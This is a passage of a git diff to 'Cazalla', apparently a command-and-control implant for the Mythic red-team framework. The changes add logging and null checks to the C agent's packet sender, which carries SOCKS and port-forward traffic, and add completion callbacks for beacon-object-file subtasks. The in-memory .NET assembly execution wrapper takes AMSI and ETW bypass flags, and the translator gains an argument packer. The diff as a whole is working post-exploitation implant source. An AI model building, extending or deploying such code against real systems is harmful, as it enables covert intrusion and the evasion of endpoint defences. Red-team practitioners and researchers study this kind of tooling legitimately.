liberarAnalizador(argumentos); + if (bof.buffer) { + LocalFree(bof.buffer); + bof.buffer = NULL; + } + if (bofArgs) { + LocalFree(bofArgs); + bofArgs = NULL; + } + if (argumentos) { + liberarAnalizador(argumentos); + argumentos = NULL; + } - _inf("===== InlineExecuteHandler FIN ====="); } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index f583908..707cc0a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -122,6 +122,15 @@ static VOID flushRpfwdTraffic(PPaquete paquete) { /* === Enviar paquete con soporte SOCKS === */ PAnalizador mandarPaquete(PPaquete paquete) { + _inf("=== mandarPaquete INICIO === len=%zu", paquete->length); + if (!paquete) { + _err("mandarPaquete: paquete es NULL"); + return NULL; + } + if (!paquete->buffer) { + _err("mandarPaquete: paquete->buffer es NULL"); + return NULL; + } _dbg("mandarPaquete() len=%zu", paquete->length); // Solo añadir tráfico SOCKS si el proxy está activo @@ -251,10 +260,11 @@ PAnalizador mandarPaquete(PPaquete paquete) { } if (!respuesta) { - _err("respuesta NULL"); + _err("mandarPaquete: respuesta NULL después de mandarYRecibir"); return NULL; } + _inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano); _dbg("respuesta OK"); // === Decodificar base64 de la respuesta === diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py index d136543..fe9da22 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py @@ -2,6 +2,100 @@ from mythic_container.MythicCommandBase import * from mythic_container.MythicRPC import * import json +# Completion callback for BOF execution +async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + try: + out = "" + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) + + # Get parent task ID + parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None + if not parent_task_id: + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found") + + # Get subtask ID + subtask_id = None + if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData: + if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task: + subtask_id = completionMsg.SubtaskData.Task.ID + + if not subtask_id: + # Try alternative attribute names + if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask: + if hasattr(completionMsg.Subtask, 'ID'): + subtask_id = completionMsg.Subtask.ID + elif hasattr(completionMsg.Subtask, 'TaskID'): + subtask_id = completionMsg.Subtask.TaskID + + if not subtask_id: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response="[ERROR] No subtask ID found in completion message" + )) + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found") + + # Search for responses from the subtask + responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id)) + + if not responses.Success: + error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error' + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}" + )) + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail) + + # Process responses if they exist + responses_list = None + if hasattr(responses, 'Responses'): + responses_list = responses.Responses + elif hasattr(responses, 'responses'): + responses_list = responses.responses + elif hasattr(responses, 'Response'): + responses_list = [responses.Response] if responses.Response else [] + + if responses_list: + for output in responses_list: + if hasattr(output, 'Response'): + out += str(output.Response) + elif hasattr(output, 'response'): + out += str(output.response) + elif hasattr(output, 'Message'): + out += str(output.Message) + elif hasattr(output, 'message'): + out += str(output.message) + elif isinstance(output, str): + out += output + elif isinstance(output, bytes): + out += output.decode('utf-8', errors='ignore') + else: + out += str(output) + + # If no output was found, indicate successful execution + if not out: + out = "[BOF executed successfully but produced no output]" + + # Send the aggregated output back to the parent task + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response=out + )) + return response + + except Exception as e: + import traceback + error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}" + try: + parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None + if parent_task_id: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response=error_msg + )) + except: + pass # If we can't send the error, at least return failure + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e)) + class InlineExecuteArguments(TaskArguments): def __init__(self, command_line, **kwargs): super().__init__(command_line, **kwargs) @@ -40,13 +134,14 @@ class InlineExecuteArguments(TaskArguments): display_name="Arguments", type=ParameterType.TypedArray, default_value=[], - choices=["int16", "int32", "string", "wchar", "base64"], + choices=["int16", "int32", "string", "wchar", "base64", "bytes"], description="""Arguments to pass to the BOF via the following way: -s:123 or int16:123 -i:123 or int32:123 -z:hello or string:hello -Z:hello or wchar:hello - -b:abc== or base64:abc==""", + -b:abc== or base64:abc== + bytes:hexstring (hexadecimal string of bytes)""", typedarray_parse_function=self.get_arguments, parameter_group_info=[ ParameterGroupInfo( @@ -64,9 +159,11 @@ class InlineExecuteArguments(TaskArguments): ] async def parse_arguments(self): - if len(self.command_line) == 0: - raise ValueError("Must supply arguments") - raise ValueError("Must supply named arguments or use the modal") + # This is only called when user types command directly + # Subtasks use parse_dictionary instead + if len(self.command_line) > 0: + raise ValueError("Must supply named arguments or use the modal") + # If command_line is empty, do nothing (subtask will use parse_dictionary) async def parse_dictionary(self, dictionary_arguments): # Allowed argument keys @@ -105,6 +202,9 @@ class InlineExecuteArguments(TaskArguments): bof_arguments.append(["wchar",value]) elif argType == "base64" or argType == "-b" or argType == "b": bof_arguments.append(["base64",value]) + elif argType == "bytes": + # bytes type expects a hexadecimal string + bof_arguments.append(["bytes",value]) else: return PTRPCTypedArrayParseFunctionMessageResponse(Success=False, Error=f"Failed to parse argument: {argument}: Unknown value type.") @@ -149,6 +249,7 @@ class InlineExecuteCommand(CommandBase): author = "@c0rnbread (adapted for Cazalla)" attackmapping = [] argument_class = InlineExecuteArguments + completion_functions = {"coff_completion_callback": coff_completion_callback} attributes = CommandAttributes( builtin=False, supported_os=[ SupportedOS.Windows ], @@ -163,19 +264,26 @@ class InlineExecuteCommand(CommandBase): try: groupName = taskData.args.get_parameter_group_name() - if groupName == "New": + + # Check if bof_file is provided (from subtask or "New" group) + if taskData.args.get_arg("bof_file"): file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( TaskID=taskData.Task.ID, AgentFileID=taskData.args.get_arg("bof_file") )) if file_resp.Success: if len(file_resp.Files) > 0: - pass + # Set display parameters + if groupName != "New": # Don't override if already set + response.DisplayParams = "-bof_file {} -bof_arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("bof_arguments") + ) else: raise Exception("Failed to find that file") else: raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) - elif groupName == "Default": + elif groupName == "Default" or taskData.args.get_arg("bof_name"): # We're trying to find an already existing file and use that file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( TaskID=taskData.Task.ID, @@ -198,6 +306,8 @@ class InlineExecuteCommand(CommandBase): raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") else: raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + else: + raise Exception("Either bof_name or bof_file must be provided") except Exception as e: raise Exception("Error from Mythic: " + str(e)) diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py index 19df8d0..e333ef7 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py @@ -8,6 +8,118 @@ logging.basicConfig(level=logging.INFO) # Wrapper function for Inline-EA # BoF Credits: https://github.com/EricEsquivel/Inline-EA +# Completion callback for BOF execution +# This captures output from the subtask and displays it in the main command +async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + try: + out = "" + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) + + # Get parent task ID + parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None + if not parent_task_id: + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found") + + # Get subtask ID + subtask_id = None + if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData: + if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task: + subtask_id = completionMsg.SubtaskData.Task.ID + + if not subtask_id: + # Try alternative attribute names + if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask: + if hasattr(completionMsg.Subtask, 'ID'): + subtask_id = completionMsg.Subtask.ID + elif hasattr(completionMsg.Subtask, 'TaskID'): + subtask_id = completionMsg.Subtask.TaskID + + if not subtask_id: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response="[ERROR] No subtask ID found in completion message" + )) + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found") + + # Search for responses from the subtask + # Add a small delay to ensure the response is available + import asyncio + await asyncio.sleep(1.0) # Wait 1 second for response to be processed + + responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id)) + + logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}") + logging.info(f"[coff_completion_callback] Response object type: {type(responses)}") + logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}") + + if not responses.Success: + error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error' + logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}") + # Don't return error, just log it and continue + + # Process responses if they exist + responses_list = None + if responses.Success: + if hasattr(responses, 'Responses'): + responses_list = responses.Responses + logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items") + elif hasattr(responses, 'responses'): + responses_list = responses.responses + logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items") + elif hasattr(responses, 'Response'): + responses_list = [responses.Response] if responses.Response else [] + logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items") + else: + logging.warning(f"[coff_completion_callback] No known response attribute found in response object") + + if responses_list: + logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items") + for idx, output in enumerate(responses_list): + logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}") + if hasattr(output, 'Response'): + out += str(output.Response) + elif hasattr(output, 'response'): + out += str(output.response) + elif hasattr(output, 'Message'): + out += str(output.Message) + elif hasattr(output, 'message'): + out += str(output.message) + elif hasattr(output, 'output'): + out += str(output.output) + elif isinstance(output, str): + out += output + elif isinstance(output, bytes): + out += output.decode('utf-8', errors='ignore') + else: + logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}") + out += str(output) + + # If no output was found, indicate successful execution + if not out: + logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}") + out = "[Assembly executed successfully but produced no output]" + + # Send the aggregated output back to the parent task + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response=out + )) + return response + + except Exception as e: + import traceback + error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}" + try: + parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None + if parent_task_id: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=parent_task_id, + Response=error_msg + )) + except: + pass + return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e)) + class InlineExecuteAssemblyArguments(TaskArguments): def __init__(self, command_line, **kwargs): super().__init__(command_line, **kwargs) @@ -130,9 +242,16 @@ class InlineExecuteAssemblyArguments(TaskArguments): return response async def parse_arguments(self): - if len(self.command_line) == 0: - raise ValueError("Must supply arguments") - raise ValueError("Must supply named arguments or use the modal") + # This is only called when user types command directly + # Subtasks use parse_dictionary instead + if len(self.command_line) > 0: + raise ValueError("Must supply named arguments or use the modal") + # If command_line is empty, do nothing (subtask will use parse_dictionary) + + async def parse_dictionary(self, dictionary_arguments): + # This is called when using the modal UI or when called as a subtask + # Just load the arguments directly + self.load_args_from_dictionary(dictionary_arguments) class InlineExecuteAssemblyCommand(CommandBase): cmd = "inline_execute_assembly" @@ -144,6 +263,7 @@ class InlineExecuteAssemblyCommand(CommandBase): script_only = True attackmapping = [] argument_class = InlineExecuteAssemblyArguments + completion_functions = {"coff_completion_callback": coff_completion_callback} attributes = CommandAttributes( dependencies=["inline_execute"], alias=True @@ -217,6 +337,7 @@ class InlineExecuteAssemblyCommand(CommandBase): ) # Arguments depend on the BOF + # Note: Using bof_name instead of bof_file to match Xenon's implementation file_name = "inline-ea.x64.o" arguments = [ [ @@ -229,31 +350,43 @@ class InlineExecuteAssemblyCommand(CommandBase): ], [ "wchar", - taskData.args.get_arg("assembly_arguments") # Assembly argument string + taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string ], [ "int32", - taskData.args.get_arg("patch_exit") # BOOL + 1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0 ], [ "int32", - taskData.args.get_arg("amsi") # BOOL + 1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0 ], [ "int32", - taskData.args.get_arg("etw") # BOOL + 1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0 ] ] - # Run inline_execute subtask + # Find the BOF file first + bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=file_name, + LimitByCallback=False, + MaxResults=1 + )) + + if not bof_file_resp.Success or len(bof_file_resp.Files) == 0: + raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}") + + # Create subtask to execute inline_execute with the BOF + # Use coff_completion_callback to capture output and display it in the main command subtask = await SendMythicRPCTaskCreateSubtask( MythicRPCTaskCreateSubtaskMessage( taskData.Task.ID, CommandName="inline_execute", SubtaskCallbackFunction="coff_completion_callback", Params=json.dumps({ - "bof_name": file_name, + "bof_file": bof_file_resp.Files[0].AgentFileId, "bof_arguments": arguments }), Token=taskData.Task.TokenID, diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 8d7002e..930185e 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -1,4 +1,6 @@ import json +import base64 +from .utils import Packer commands = { "get_tasking": {"hex_code": 0x00, "input_type": None}, @@ -215,6 +217,7 @@ def responseTasking(tasks): elif commands[command_to_run]["input_type"] == "bof_special": # inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] + # Similar to Xenon: serialize arguments in translator using Packer parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} file_id = parameters.get("bof_file", "") @@ -224,16 +227,49 @@ def responseTasking(tasks): data += len(file_id_bytes).to_bytes(4, "big") data += file_id_bytes - # Add BOF arguments (serialized) + # Serialize BOF arguments using Packer (like Xenon) bof_args = parameters.get("bof_arguments", []) - args_str = json.dumps(bof_args) if bof_args else "" - args_bytes = args_str.encode('utf-8') - data += len(args_bytes).to_bytes(4, "big") - data += args_bytes + if bof_args and len(bof_args) > 0: + packer = Packer() + # Handle TypedList as single length-prefixed argument to Agent (like Xenon) + for item in bof_args: + item_type, item_value = item + if item_type == "int16": + packer.addshort(int(item_value)) + elif item_type == "int32": + # Convert to int, handling both bool and int values + if isinstance(item_value, bool): + packer.adduint32(1 if item_value else 0) + else: + packer.adduint32(int(item_value)) + elif item_type == "bytes": + # Convert hex string to bytes + packer.addbytes(bytes.fromhex(item_value)) + elif item_type == "string": + packer.addstr(item_value) + elif item_type == "wchar": + packer.addWstr(item_value) + elif item_type == "base64": + try: + decoded_value = base64.b64decode(item_value) + packer.addstr(decoded_value) + except Exception: + print(f"[TRANSLATOR] Error: Invalid base64 string: {item_value}") + # Fallback: add as empty string + packer.addstr("") + + # Packer.getbuffer() returns length-prefixed buffer: [size:4 bytes LE][data] + packed_params = packer.getbuffer() + # Send as length-prefixed string (big-endian for length prefix, like other strings) + data += len(packed_params).to_bytes(4, "big") + data += packed_params + else: + # No arguments - send empty buffer + data += (0).to_bytes(4, "big") task_size = len(data) dataTask += task_size.to_bytes(4, "big") + data - print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}") + print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items") elif commands[command_to_run]["input_type"] == "assembly_special": # inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py index 4f0298b..a9ae21c 100644 --- a/Payload_Type/cazalla/translator/utils.py +++ b/Payload_Type/cazalla/translator/utils.py @@ -1,5 +1,6 @@ import base64 import os +from struct import pack, calcsize def getBytesWithSize(data): """ @@ -28,4 +29,70 @@ def getBytesWithSize(data): # Return what we can and empty remaining return data[:size], b"" - return data[:size], data[size:] \ No newline at end of file + return data[:size], data[size:] + + +class Packer: + """ + Packed data into length-prefixed binary format. + + Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py + Adapted from Xenon's implementation + """ + def __init__(self): + self.buffer : bytes = b'' + self.size : int = 0 + + def getbuffer(self): + """Returns length-prefixed buffer: [size:4 bytes little-endian][data]""" + return pack("